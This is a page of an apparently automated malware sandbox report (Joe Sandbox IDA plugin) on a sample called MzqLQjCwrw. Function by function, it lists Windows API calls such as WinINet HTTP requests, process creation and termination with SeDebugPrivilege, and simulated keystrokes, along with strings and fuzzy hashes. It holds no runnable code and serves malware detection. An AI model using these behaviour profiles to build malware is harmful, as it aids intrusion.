Instruction Fuzzy Hash: 53A19D70711216CFCB29EF10C595A79F3A8BF15700F5542ADE90AAB262CB70EC66CF50

Function 00269113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00269167
VariantInit.OLEAUT32(?), ref: 00269238
VariantInit.OLEAUT32(?), ref: 00269339
VariantClear.OLEAUT32(?), ref: 00269343
VariantClear.OLEAUT32(?), ref: 002693A0

Strings

Null Object assignment in FOR..IN loop, xrefs: 002691C8, 002692F6, 002693AE
,,(, xrefs: 002691E5
Incorrect Object type in FOR..IN loop, xrefs: 0026931C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,($Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-847377613
Opcode ID: 738e5640649962a6982596422c430b08f3810a42d191988da50f51ad628f7d79
Instruction ID: 079a3dc7c4a2dc726ee1f57c614ac6115e2d89fc904b5bd96186a9a86998d18a
Opcode Fuzzy Hash: 738e5640649962a6982596422c430b08f3810a42d191988da50f51ad628f7d79
Instruction Fuzzy Hash: 2791947191021AEBDF24DF95C848FAEB7B8EF45710F108159F915AB280DB7099D5CFA0

Function 0024A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0024A439), ref: 0024A377

Strings

CLASS, xrefs: 0024A0F6
NAME, xrefs: 0024A1A9
INSTANCE, xrefs: 0024A285
TEXT, xrefs: 0024A2AE
CLASSNN, xrefs: 0024A119
REGEXPCLASS, xrefs: 0024A13C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 218edfca1ed9d5c5e61fd74fbb1dfceb8781945a94014cda50b6342197c2c877
Instruction ID: e1fe5a31e1e9706639edfda1dc70525f74aa8b54486d62b5a98fc8d15cc85089
Opcode Fuzzy Hash: 218edfca1ed9d5c5e61fd74fbb1dfceb8781945a94014cda50b6342197c2c877
Instruction Fuzzy Hash: 0391E631660606EBDB0CDFA0C881BEEFBB5BF14300F508119E95AA7141DFB169B9DB91

Function 001F2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 001F2EAE

Part of subcall function 001F1DB3: GetClientRect.USER32(?,?), ref: 001F1DDC
Part of subcall function 001F1DB3: GetWindowRect.USER32(?,?), ref: 001F1E1D
Part of subcall function 001F1DB3: ScreenToClient.USER32(?,?), ref: 001F1E45

GetDC.USER32 ref: 0022CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0022CD45
SelectObject.GDI32(00000000,00000000), ref: 0022CD53
SelectObject.GDI32(00000000,00000000), ref: 0022CD68
ReleaseDC.USER32(?,00000000), ref: 0022CD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0022CDFB

Strings

U, xrefs: 0022CCD0

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 10708c3519d7ea9be70dac29165a779001ec66b339369e273e4211cdc60a9e63
Instruction ID: bf15fb83bfe1b8c93383743425f09946bd94403ccf503f6865697467910001be
Opcode Fuzzy Hash: 10708c3519d7ea9be70dac29165a779001ec66b339369e273e4211cdc60a9e63
Instruction Fuzzy Hash: D971B43151021AEFCF259FA4D884ABE7BB5FF48310F24427AED595A266C73088A1DF60

Function 00261A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00261A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00261A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00261ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00261AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00261AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00261B10
InternetCloseHandle.WININET(00000000), ref: 00261B57

Part of subcall function 00262483: GetLastError.KERNEL32(?,?,00261817,00000000,00000000,00000001), ref: 00262498
Part of subcall function 00262483: SetEvent.KERNEL32(?,?,00261817,00000000,00000000,00000001), ref: 002624AD

Strings

, xrefs: 00261B01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: a726c9e3bdc0828683dda1890c35995cc2d359b15f2b902a7274a98a46898270
Instruction ID: c9077d2cea9f77e38f4a9d5de135e46165d08581a6c9e931db73284153c05745
Opcode Fuzzy Hash: a726c9e3bdc0828683dda1890c35995cc2d359b15f2b902a7274a98a46898270
Instruction Fuzzy Hash: FE4192B1511609BFEB158F50CC8AFFB77ACEF08354F044126FD059A141E770AEA48BA0

Function 00268C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0027F910), ref: 00268D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0027F910), ref: 00268D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00268ED6
SysFreeString.OLEAUT32(?), ref: 00268F00

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: ebb3f7877c31e8230ba2db1ebd1df01d39665f46fdc94ed8119e50f5332e1d35
Instruction ID: 9b0e1c50b5df85a1b332cfe4e6e7803fca0e2f0e2d1eb612661c7307655473d9
Opcode Fuzzy Hash: ebb3f7877c31e8230ba2db1ebd1df01d39665f46fdc94ed8119e50f5332e1d35
Instruction Fuzzy Hash: B5F16971A10209EFCF14DF94C888EAEB7B9FF49314F108599F905AB250DB71AE95CB60

Function 0026F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0026F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0026F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0026F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0026F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0026F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0026FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0026FA7C
CloseHandle.KERNEL32(?), ref: 0026FAAB
CloseHandle.KERNEL32(?), ref: 0026FB22

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 88aaeee205960e1ec6580d20385408c5397ac2b49e14f3a7276bdfebd25836d3
Instruction ID: f39eed923bafc0b36e32067ffa18e55c16bbf475d99c681ff2fd0be3f3d9e4cd
Opcode Fuzzy Hash: 88aaeee205960e1ec6580d20385408c5397ac2b49e14f3a7276bdfebd25836d3
Instruction Fuzzy Hash: ADE1D1312143419FCB54EF24D981B6ABBE1EF89354F14856DF8998B2A2CB30DC95CF52

Function 00254CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0025466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00253697,?), ref: 0025468B

Part of subcall function 0025466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00253697,?), ref: 002546A4

Part of subcall function 00254A31: GetFileAttributesW.KERNEL32(?,0025370B), ref: 00254A32

lstrcmpiW.KERNEL32(?,?), ref: 00254D40
_wcscmp.LIBCMT ref: 00254D5A
MoveFileW.KERNEL32(?,?), ref: 00254D75

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 95ef4f29751b4278f69794baaea7780822a07ca3c241d5f7fa218b792de5330d
Instruction ID: 65dde875f2c716633c49947c7d0f3a4ec0cb59b819af1fcbe127a4249e3f02e0
Opcode Fuzzy Hash: 95ef4f29751b4278f69794baaea7780822a07ca3c241d5f7fa218b792de5330d
Instruction Fuzzy Hash: 825163B20183459BC724EBA0D8819DFB3ECAF94755F40092EB689D3151EF70A6DCCB5A

Function 00278645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 002786FF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: ead4ae66ea34c537045ba6ecef24313ddda37982d72caed5e99c80277dae2cff
Instruction ID: 21f2cdd501066af5118a51591fa3865518ae7399d29c3e8901e643e9a14318bd
Opcode Fuzzy Hash: ead4ae66ea34c537045ba6ecef24313ddda37982d72caed5e99c80277dae2cff
Instruction Fuzzy Hash: 1451D5346A0219BEEB249F24DC8DFAD7B68FB05710F608211FA1DD61E0CF71A9A0CB51

Function 001F2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0022C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0022C319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0022C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0022C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0022C370
DestroyIcon.USER32(00000000), ref: 0022C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0022C39C
DestroyIcon.USER32(?), ref: 0022C3AB

Part of subcall function 0027A4AF: DeleteObject.GDI32(00000000), ref: 0027A4E8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 696cc6bf91ff16e3661b9fac0f158e2687633e282545e549b621d6f1ee99b72e
Instruction ID: b52f2132e824c0818953d4d815de3b4c0c0a2c4b80f6051d4dd156173263285b
Opcode Fuzzy Hash: 696cc6bf91ff16e3661b9fac0f158e2687633e282545e549b621d6f1ee99b72e
Instruction Fuzzy Hash: 2F514A70A10609AFDB24DF65EC45BBE77A5EB58710F204628FA0697290DB70AD90DB50

Function 0024966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0024A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0024A84C
Part of subcall function 0024A82C: GetCurrentThreadId.KERNEL32 ref: 0024A853
Part of subcall function 0024A82C: AttachThreadInput.USER32(00000000,?,00249683,?,00000001), ref: 0024A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 0024968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 002496AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 002496AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 002496B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 002496D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 002496D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 002496E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 002496F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 002496FB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: e7d22fee557d7af82b89f91ae650c8586d1e15f080eb4f425fd94933e706b348
Instruction ID: 37d54e4a751e0cf3c4128b5aa1fa71114583fab34d226d5a898e3d88eeb33bd1
Opcode Fuzzy Hash: e7d22fee557d7af82b89f91ae650c8586d1e15f080eb4f425fd94933e706b348
Instruction Fuzzy Hash: 3F11E571950218BEF6106F60EC4DF6A3B1DDB4C760F510425F658AB0A0C9F25C90DAB4

Function 00248921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0024853C,00000B00,?,?), ref: 0024892A
HeapAlloc.KERNEL32(00000000,?,0024853C,00000B00,?,?), ref: 00248931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0024853C,00000B00,?,?), ref: 00248946
GetCurrentProcess.KERNEL32(?,00000000,?,0024853C,00000B00,?,?), ref: 0024894E
DuplicateHandle.KERNEL32(00000000,?,0024853C,00000B00,?,?), ref: 00248951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0024853C,00000B00,?,?), ref: 00248961
GetCurrentProcess.KERNEL32(0024853C,00000000,?,0024853C,00000B00,?,?), ref: 00248969
DuplicateHandle.KERNEL32(00000000,?,0024853C,00000B00,?,?), ref: 0024896C
CreateThread.KERNEL32(00000000,00000000,00248992,00000000,00000000,00000000), ref: 00248986

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 012566e5062d55a7f13cb4bf11a1b5bb8277b2135bd51987f119b74927a51a3b
Instruction ID: 46b62b114e9b83a62f281f1f9e05ac8d2d0b46b18a993a414dc87e495da27811
Opcode Fuzzy Hash: 012566e5062d55a7f13cb4bf11a1b5bb8277b2135bd51987f119b74927a51a3b
Instruction Fuzzy Hash: 4F01AC75244304FFE650ABA5ED4DF6B3B6CEB89711F404421FA09DB291CA7098408A20

Function 00269B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00269BA4, 00269EC8
Not an Object type, xrefs: 00269B7B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 2e9eeefcb66f3e387e33d97abfc79406ba4a9411dd6739987447230f42eae214
Instruction ID: 71f8df3a0e90581f9f1cdde19c23d0fa95291751aea2a43d97ad909b011ac449
Opcode Fuzzy Hash: 2e9eeefcb66f3e387e33d97abfc79406ba4a9411dd6739987447230f42eae214
Instruction Fuzzy Hash: 0FC1C471A1020A9FDF14DF58D984BAEB7F9FB48314F10846AE905E7280EB719DE4CB90

Function 0026975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 0024710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?,?,00247455), ref: 00247127
Part of subcall function 0024710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?), ref: 00247142
Part of subcall function 0024710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?), ref: 00247150
Part of subcall function 0024710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?), ref: 00247160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00269806
_memset.LIBCMT ref: 00269813
_memset.LIBCMT ref: 00269956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00269982
CoTaskMemFree.OLE32(?), ref: 0026998D

Strings

NULL Pointer assignment, xrefs: 002699DB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 4da7a202178e76bff5495c6443666e2f88b28dd82a71c9b3bcdd41f133739bf5
Instruction ID: c5502487cc2f8e3f6efe7a3cc14332139f8d094b4b9411db48bab83ccf4de915
Opcode Fuzzy Hash: 4da7a202178e76bff5495c6443666e2f88b28dd82a71c9b3bcdd41f133739bf5
Instruction Fuzzy Hash: EF912671D1022DEBDB10DFA4DC45EEEBBB9AF08310F20415AF519A7281DB719A94CFA0

Function 00276D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00276E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00276E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00276E52
_wcscat.LIBCMT ref: 00276EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00276EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00276EF2

Strings

SysListView32, xrefs: 00276DF6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 5e3f5724bb519336587ba0b8c211982950548f7772bd6eacf30a09c9f0483d5b
Instruction ID: db671cce5bc2dd7c7b79476a6d971c0df6b9133ee60fafdbf032074d5a368289
Opcode Fuzzy Hash: 5e3f5724bb519336587ba0b8c211982950548f7772bd6eacf30a09c9f0483d5b
Instruction Fuzzy Hash: C741A171A10309EFDB219FA4CC89FEEB7E9EF08750F10446AF548A7191D6719DA48B60

Function 0026E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00253C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00253C7A
Part of subcall function 00253C55: Process32FirstW.KERNEL32(00000000,?), ref: 00253C88
Part of subcall function 00253C55: CloseHandle.KERNEL32(00000000), ref: 00253D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0026E9A4
GetLastError.KERNEL32 ref: 0026E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0026E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0026EA63
GetLastError.KERNEL32(00000000), ref: 0026EA6E
CloseHandle.KERNEL32(00000000), ref: 0026EAA3

Strings

SeDebugPrivilege, xrefs: 0026E9C2

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 0b675be14494d469097b9684868fd9c89c47766ad05d60514f4562e3e000acef
Instruction ID: ae5913c1f6d1d684f35df0994bed16d0a23ff119698ed2756a2210f5f7c29b95
